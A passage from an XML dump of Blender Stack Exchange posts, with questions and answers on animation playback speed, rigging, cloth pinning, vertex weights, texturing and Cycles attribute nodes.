plane.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Gif Demo:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9FzG5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&#xA;This will work on multiple axis, first perform the snap on the X then the Y. I will note that it is incredibly difficult to get the snapping right. The best technique is to do the rotation in edit mode with snapping set to active.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-25T01:42:49.647" LastActivityDate="2014-07-25T01:42:49.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14236" PostTypeId="1" AcceptedAnswerId="14241" CreationDate="2014-07-21T16:40:57.417" Score="20" ViewCount="71691" Body="&lt;p&gt;I have a question about animation &quot;best practices&quot;: If I want to render my animation at 24 fps, does that mean I also need my animation preview/playback window to run at 24 fps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some details: I've created 15 second walk-cycle scene that I want to render at 24 fps. However, when I use the animation playback feature (alt-a), the highest framerate I'm able to achieve is 16 fps. As a result, I've prepared an animation that looks reasonable at 16 fps but is much too fast at 24 fps. Of course, I could rescale my keyframes to compensate for the difference after I've finished the animation, but I'd prefer to see something close to the finished animation the whole time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some optimizations I've tried to increase the playback framerate:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sync Mode set to &quot;Frame Dropping&quot;&lt;/li&gt;&#xA;&lt;li&gt;All objects except my character and camera are set to be invisible&lt;/li&gt;&#xA;&lt;li&gt;All subsurf modifiers are set to their lowest level&lt;/li&gt;&#xA;&lt;li&gt;The shading mode is set to &quot;solid&quot; or &quot;wireframe&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Are there additional things I can do to increase the playback framerate? Or do I just need to work around my current 16 fps playback framerate?&lt;/p&gt;&#xA;" OwnerUserId="5297" LastActivityDate="2020-11-16T13:38:45.750" Title="Low FPS on Animation Playback" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="5" CommentCount="4" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14237" PostTypeId="1" CreationDate="2014-07-21T16:52:17.770" Score="0" ViewCount="345" Body="&lt;p&gt;I have this situation: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1K2Vk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the bone &quot;A&quot; to always be between the other two bones, extension included. This bone receives user movement, grab and scale, using any number of extra bones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried to give bone &quot;A&quot; constraints like &lt;code&gt;Floor&lt;/code&gt; and that worked nice, but it doesn't work for the other handle of the bone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMuzN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This second image show an auto adjustment making this effect, using &lt;code&gt;Floor&lt;/code&gt; and  &lt;code&gt;Stretch&lt;/code&gt;, but the interaction bone (the selected one) lacks for limits in it's extreme, making it imprecise.&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="2217" LastEditDate="2014-08-20T23:07:29.673" LastActivityDate="2015-02-17T01:39:22.107" Title="How to limit a bone between other two bones, for scale and position" Tags="&lt;armature&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14238" PostTypeId="2" ParentId="14236" CreationDate="2014-07-21T17:38:49.137" Score="2" Body="&lt;p&gt;You could use the OpenGL renderer (AKA &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Quick_render&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quick Render&lt;/a&gt;) to preview animations. This feature allows you to preview an animation at full speed, but without having to use Cycles/Blender Internal to render a final image. As long as you set up your render settings correctly (choose an appropriate image size, pick a video filename and codec, etc), it will quickly render your viewport to an image sequence or video file. The drawback is that it's not realtime, so it's not interactive. It adds a few steps to your animation workflow, but may be the only option for complex models on slow computers. This is how I have to preview fluid simulations, even on a fast workstation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xfveC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In future versions of Blender, we'll see the addition of &lt;a href=&quot;http://graphics.pixar.com/opensubdiv/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSubdiv&lt;/a&gt; which uses the GPU to render complex models in the viewport. &lt;a href=&quot;https://www.youtube.com/watch?v=dzIl_S-qHIQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Initial tests&lt;/a&gt; look very promising. If you have a GPU, this could end up being your solution.&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-07-21T17:38:49.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14239" PostTypeId="1" AcceptedAnswerId="14240" CreationDate="2014-07-21T18:11:10.160" Score="3" ViewCount="1261" Body="&lt;p&gt;I'm pretty new to blender, and i wanted to try to render something pretty simple, so i made a house. But the problem is, that when i try to apply my seamless texture to roof, it is showing/acting like color. I really don't know why, because the texture is ok.&#xA;I have tried to figure it out using nodes, but i didn't came up with a solution...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zwAso.jpg&quot; alt=&quot;This is how to roof looks like rendered&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5300" LastActivityDate="2014-07-21T18:55:30.553" Title="Why is my texture actilng like a color?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-21T21:37:48.383" ContentLicense="CC BY-SA 3.0" />
  <row Id="14240" PostTypeId="2" ParentId="14239" CreationDate="2014-07-21T18:40:06.960" Score="3" Body="&lt;p&gt;You have to connect your UV Data to the Vector Input of your Texture Node:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FQnVv.png&quot; alt=&quot;Shifft+A &amp;gt; Input &amp;gt; UV Map   or &amp;lt;br&amp;gt; Shifft+A &amp;gt; Input &amp;gt; Texture Coordinate : Genereated, &amp;lt;br&amp;gt; Connect the output to the Vector Input&quot;&gt;&#xA;&lt;br&gt;&#xA;Use &lt;kbd&gt;Shifft&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Input &gt; UV Map to specify your UV Map or use &lt;code&gt;Generated&lt;/code&gt; of the Texture Coordinate Node if you don't want to unwrap your Object.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastEditorUserId="3369" LastEditDate="2014-07-21T18:55:30.553" LastActivityDate="2014-07-21T18:55:30.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14241" PostTypeId="2" ParentId="14236" CreationDate="2014-07-21T19:15:24.177" Score="15" Body="&lt;p&gt;Things you can try to improve viewport performance:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;strong&gt;VBOs&lt;/strong&gt; in &lt;code&gt;User Preferences&lt;/code&gt; &gt; &lt;code&gt;System&lt;/code&gt;. This should speed up drawing of highly complex scenes with lots of geometry.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;strong&gt;Only Render&lt;/strong&gt; under the display panel of the 3D viewport. This will hide extra lines and wireframes, which are slow to draw.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &lt;strong&gt;Double Sided&lt;/strong&gt; in the &lt;code&gt;object&lt;/code&gt; properties editor for high polygon mesh. This is especially helpful on Fermi-level Nvidia cards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Turn off &lt;strong&gt;modifiers&lt;/strong&gt; you don't need in the viewport.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;strong&gt;Simplify&lt;/strong&gt; in the Scene property editor to globally reduce the complexity of the scene.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure you are viewing the scene in &lt;strong&gt;Solid mode&lt;/strong&gt;, it's typically faster than all the other mode, including wireframe.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using physics simulations like particles or cloth, make sure they are &lt;strong&gt;baked&lt;/strong&gt;. Otherwise, Blender will try to recalculate them every time you switch frames.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="41" LastEditorUserId="41" LastEditDate="2014-07-22T17:55:48.607" LastActivityDate="2014-07-22T17:55:48.607" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14242" PostTypeId="1" CreationDate="2014-07-21T19:33:05.763" Score="13" ViewCount="34003" Body="&lt;p&gt;How do I make pinning follow a model? What object should I select for the hook modifier? In my case the origin does not move. There are only rotations. I am tracing the image series of a running human by Eadweard Muybridge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OR7eF.png&quot; alt=&quot;enter image description here&quot;&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="2217" LastEditDate="2014-07-22T22:53:42.137" LastActivityDate="2019-06-09T13:40:51.297" Title="Pin cloth to model" Tags="&lt;modifiers&gt;&lt;cloth-simulation&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14244" PostTypeId="2" ParentId="14242" CreationDate="2014-07-21T19:54:44.990" Score="2" Body="&lt;p&gt;You have to specify the pinning in the Physics Tab with the Pinning Option of the Cloth Options. Then the verts of the group will follow the origin of your object.&lt;/p&gt;&#xA;" OwnerUserId="3369" LastActivityDate="2014-07-21T19:54:44.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14245" PostTypeId="2" ParentId="14237" CreationDate="2014-07-21T20:37:57.577" Score="1" Body="&lt;p&gt;I'm not entirely sure what you're asking, but I'll take a guess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want A's base to be at B's base and A's tip to be at C's base, you might benefit from drivers.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the expressions to map from B and C to the proper pose for A would not be trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;a href=&quot;https://developer.blender.org/T40301&quot; rel=&quot;nofollow&quot;&gt;blender has some shortcomings in its dependency system that prevents intra-armature drivers from being calculated correctly in some circumstances.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-07-21T20:37:57.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14246" PostTypeId="1" AcceptedAnswerId="14270" CreationDate="2014-07-22T00:43:59.783" Score="9" ViewCount="7555" Body="&lt;p&gt;From what I know, V-Ray is the most realistic render engine out there. But, I also know that Cycles is physically accurate. How is Cycles different from V-Ray and what are the major differences when it comes to shadows and lighting?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="15543" LastEditDate="2018-10-14T07:24:03.717" LastActivityDate="2018-10-14T07:24:03.717" Title="How is Cycles different from V-Ray?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;lighting&gt;&lt;shadows&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14248" PostTypeId="1" AcceptedAnswerId="14249" CreationDate="2014-07-22T02:39:39.120" Score="3" ViewCount="10244" Body="&lt;p&gt;I have exported a mesh character from Unreal Engine 4 as a fbx file. I want to remove everything but the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I literally have no idea how to use Blender and the UI seems confusing and overwhelming. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone possibly tell me how to delete everything but the head, step-by-step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B9rwq96GHhcvSnJLQ1hLSURUMFE/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5305" LastEditorUserId="1363" LastEditDate="2014-07-22T11:15:31.527" LastActivityDate="2014-07-22T11:15:31.527" Title="How to delete part of an fbx model?" Tags="&lt;mesh&gt;&lt;import&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-07-22T12:17:54.657" ContentLicense="CC BY-SA 3.0" />
  <row Id="14249" PostTypeId="2" ParentId="14248" CreationDate="2014-07-22T02:48:44.327" Score="4" Body="&lt;p&gt;First, import the mesh by pressing &lt;em&gt;File &gt; Import &gt; FBX&lt;/em&gt; and navigating to the .fbx file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ISFU5yi.png&quot; alt=&quot;Import an FBX model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have your object imported, ensure that it is the active object (orange outline). If it's not active, right click on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter &lt;em&gt;Edit Mode&lt;/em&gt; where you can edit the underlying mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, you can select the parts of the mesh you want to delete by:&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Selecting a vertex on the head with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; to select linked geometry&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; to invert selection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once you have the vertices you want to delete selected, press &lt;kbd&gt;Delete&lt;/kbd&gt; &lt;em&gt;&gt; Vertices&lt;/em&gt; to delete them.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="9" LastEditDate="2014-07-22T09:18:58.277" LastActivityDate="2014-07-22T09:18:58.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14250" PostTypeId="1" AcceptedAnswerId="14252" CreationDate="2014-07-22T02:56:11.333" Score="6" ViewCount="6030" Body="&lt;p&gt;I have a program that can animated a mesh using OpenGL but problematically it can only work and not crash when each vertex weight is affected as per the title to a maximum of four bones. The tutorial code I acquired used a simple model from some Morrowind inspired game where all it did was turn its head; in blender supposedly I can select each vertex individually and remove weights associated from unimportant bones but this seems tedious.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this conveniently?&lt;/p&gt;&#xA;" OwnerUserId="5263" LastActivityDate="2014-07-22T03:11:57.490" Title="How to restrict vertex weights to no more than N number of Bones?" Tags="&lt;animation&gt;&lt;bones&gt;&lt;vertex-groups&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14251" PostTypeId="2" ParentId="14194" CreationDate="2014-07-22T03:02:43.667" Score="0" Body="&lt;p&gt;I have somehow fixed my issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re-opened Blender and started completely over. &#xA;Staying in scene one, I uploaded the Second Life Avatar. Then I opened the foot file I wanted to attach and rig. I realigned the foot to match exactly vertex for vertex again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once perfectly aligned, I pressed shift + D to duplicate it in case I somehow mangled it. I moved this to a new scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the new scene, I placed a box inside my foot so that I could apply a mirror modifier to create the opposite foot. I then went into edit mode and chose faces and deleted the cube faces inside the foot so that it won't be seen in Second Life. I took a copy of the mirrored foot into scene one and aligned it to the SL Avatar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then chose both feet, rigged them to the armature by pressing Control + P and chose Deform with empty vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, I chose the legs of the avatar (which included the original feet) and then chose the feet, changed to weight paint mode and chose transfer weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the rig by going into pose mode and rotated the feet to make sure it was all working correctly. It was!&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2014-07-22T03:02:43.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14252" PostTypeId="2" ParentId="14250" CreationDate="2014-07-22T03:11:57.490" Score="8" Body="&lt;p&gt;In weight paint mode, select the &lt;strong&gt;Weight Tools&lt;/strong&gt; panel in the toolbar, and run &lt;strong&gt;Limit Total&lt;/strong&gt;, This removes vertex groups with lowest weights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This defaults to 4 which is a common limit for game-engines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also choose which vertex groups are effected when using an armature (Only selected bones for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you want to only apply this to specific vertices, You can use vertex-select (VKey).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-07-22T03:11:57.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14253" PostTypeId="1" CreationDate="2014-07-22T03:53:51.660" Score="1" ViewCount="79" Body="&lt;p&gt;I did the following to achieve an UI for taking in path file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.skeletonImporter = bpy.props.StringProperty(name=&quot;Import skeleton.xml path&quot;, default = &quot;&quot;, description=&quot;Import which skeleton.xml file?&quot;, subtype = 'FILE_PATH')&#xA;bpy.types.Scene.meshImporter = bpy.props.StringProperty(name=&quot;Import .mesh path&quot;, default = &quot;&quot;, description=&quot;Import which .mesh file?&quot;, subtype = 'FILE_PATH')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which give me this relative path when I try and open a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/65vB3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I wish to take in the absolute path for my files. How do I go about doing that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no subtype called &lt;strong&gt;ABS_FILE_PATH&lt;/strong&gt; (which would be useful in my situation).&lt;/p&gt;&#xA;" OwnerUserId="4970" LastActivityDate="2014-07-22T03:53:51.660" Title="How do I get absolute path of a file?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;path&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-07-22T05:27:49.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="14254" PostTypeId="1" AcceptedAnswerId="14255" CreationDate="2014-07-22T06:23:15.263" Score="0" ViewCount="944" Body="&lt;p&gt;Is it possible to rotate e.g. the left selected edge counter clockwise and the right one clockwise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IkdPk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-07-22T07:40:35.700" Title="Can selected elements be rotated in opposite directions?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14255" PostTypeId="2" ParentId="14254" CreationDate="2014-07-22T06:57:15.570" Score="1" Body="&lt;p&gt;In general &lt;strong&gt;no&lt;/strong&gt;. But for cases where the mesh/armature is symmetrical. Then &lt;em&gt;X-Mirror&lt;/em&gt; from the &lt;em&gt;Options Tab&lt;/em&gt; can be enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eWppC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="55" LastEditDate="2014-07-22T07:40:35.700" LastActivityDate="2014-07-22T07:40:35.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14256" PostTypeId="1" CreationDate="2014-07-22T08:22:19.033" Score="3" ViewCount="1260" Body="&lt;p&gt;Is there an easy (non scripted or standard script) way to remove all empty vertex groups (weight is zero).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to remove all empty vertex groups vertex groups regardless of current weight assignments?&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastActivityDate="2014-07-22T08:39:24.707" Title="Remove empty vertex groups?" Tags="&lt;vertex-groups&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14258" PostTypeId="2" ParentId="14242" CreationDate="2014-07-22T08:46:33.397" Score="3" Body="&lt;p&gt;The object in the hook modifier is the one you want the cloth to follow. This might be a characters body or you could select an armature and then a bone, such as the neck or hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a shortcut to creating hooks. Select the object you want to follow then shift select the cloth object and go into edit mode. Select the vertices you want to pin and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt; and select Hook to Selected Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have an existing hook modifier there will be extra options to adjust the hook settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyRiz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-22T08:46:33.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14260" PostTypeId="1" AcceptedAnswerId="14263" CreationDate="2014-07-22T10:32:19.450" Score="1" ViewCount="4490" Body="&lt;p&gt;I'm following a tutorial on youtube about IK rigging. So far I've set up an FK rig and am creating an IK rig. I have put an IK constraint on the left upper arm and the left forearm. But if I try to move the left hand, the whole arm goes crazy. It doesn't follow the hand like a proper IK rig should. And the movement seems random to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Blender 2.71&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Blend file: &lt;a href=&quot;https://dl.dropboxusercontent.com/u/61219663/Character_Rig_01.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/61219663/Character_Rig_01.blend&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Images of Rig:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8f4Ds.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FGk5k.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zJGEy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Images of rig going crazy:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Funj4.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BneTw.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7YF6o.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2014-07-22T11:52:19.950" LastActivityDate="2019-11-23T16:53:25.553" Title="IK rig spins out of control" Tags="&lt;animation&gt;&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14262" PostTypeId="1" CreationDate="2014-07-22T12:25:15.090" Score="36" ViewCount="24373" Body="&lt;p&gt;I know you can call density or flame for example from the attribute node. I was wondering what else you can write in the name slot. And maybe a bit of explanation of the attribute node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MYMyw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance guys! :)&lt;/p&gt;&#xA;" OwnerUserId="5273" LastActivityDate="2021-02-18T06:27:12.197" Title="what can you call from the attribute node?" Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="14263" PostTypeId="2" ParentId="14260" CreationDate="2014-07-22T13:21:24.150" Score="6" Body="&lt;p&gt;Found the solution:&#xA;You need to clear the parent of the hand_IK.L&#xA;So hand_IK.L needs to be a separate object from the rest of the chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into edit mode, select hand_IK.L and press ALT + P. Choose &quot;Clear parent&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2014-07-23T09:22:55.250" LastActivityDate="2014-07-23T09:22:55.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14264" PostTypeId="1" CreationDate="2014-07-22T16:47:08.007" Score="1" ViewCount="57" Body="&lt;p&gt;I just want to make sure I keep all my user preferences. When I install the updated version of blender, how can I keep all my user preferences?&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2014-07-22T18:46:31.127" Title="Updated version of Blender" Tags="&lt;workflow&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2014-07-22T19:23:31.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="14265" PostTypeId="1" AcceptedAnswerId="14266" CreationDate="2014-07-22T17:07:28.430" Score="0" ViewCount="4826" Body="&lt;p&gt;I have a Graph Editor open alongside the dopesheet, as you can see in the screenshot (following). The Graph Editor is not showing my keyframes or the connecting lines. I have checked to make sure the eye icon is turned on. I have also check in the previously asked questions and didn't find an answer. This seems really simple, but I don't know what else to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5FqEV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5177" LastEditorUserId="241" LastEditDate="2014-07-22T17:10:01.680" LastActivityDate="2014-07-22T17:13:35.713" Title="Why doesn't the Graph Editor show my keyframes and connecting lines" Tags="&lt;keyframes&gt;&lt;graph-editor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14266" PostTypeId="2" ParentId="14265" CreationDate="2014-07-22T17:13:35.713" Score="2" Body="&lt;p&gt;The screen shot is a little low res, so it's hard to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your keyframes in the dope sheet are in the 340 to 410 range but the graph editor is set to show the -200 to 200 frame range.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think if you press the &lt;kbd&gt;Home&lt;/kbd&gt; key while the cursor is in the graph editor the view should zoom to your keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively your keyframes are simply out of view on the y-axis of the graph editor and the &lt;kbd&gt;Home&lt;/kbd&gt; will also solve this.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-07-22T17:13:35.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14267" PostTypeId="2" ParentId="14262" CreationDate="2014-07-22T18:00:32.520" Score="47" Body="&lt;p&gt;Currently you can get:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;density&lt;/code&gt; When used on a domain object, this is gives a scalar defining the density of any smoke inside the domain. All three outputs are the same.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;flame&lt;/code&gt; When used on a domain object, this is gives a scalar defining the density of any fire inside the domain. All three outputs are the same.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;color&lt;/code&gt; When used on a domain object, this is gives the color of the smoke. The color and vector outputs are the same. The fac output is an average of the channels.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;N&lt;/code&gt; This gives the normals of the object. You can also get this info from the &lt;em&gt;normal&lt;/em&gt; output of a geometry node.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Ng&lt;/code&gt; This gives the true normals of the object. You can also get this info from the &lt;em&gt;true normal&lt;/em&gt; output of a geometry node.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;pointiness&lt;/code&gt; This gives a scalar representing the amount of curvature of the object's surface based on it's normals. You can also get this info from the &lt;em&gt;pointiness&lt;/em&gt; output of the a geometry 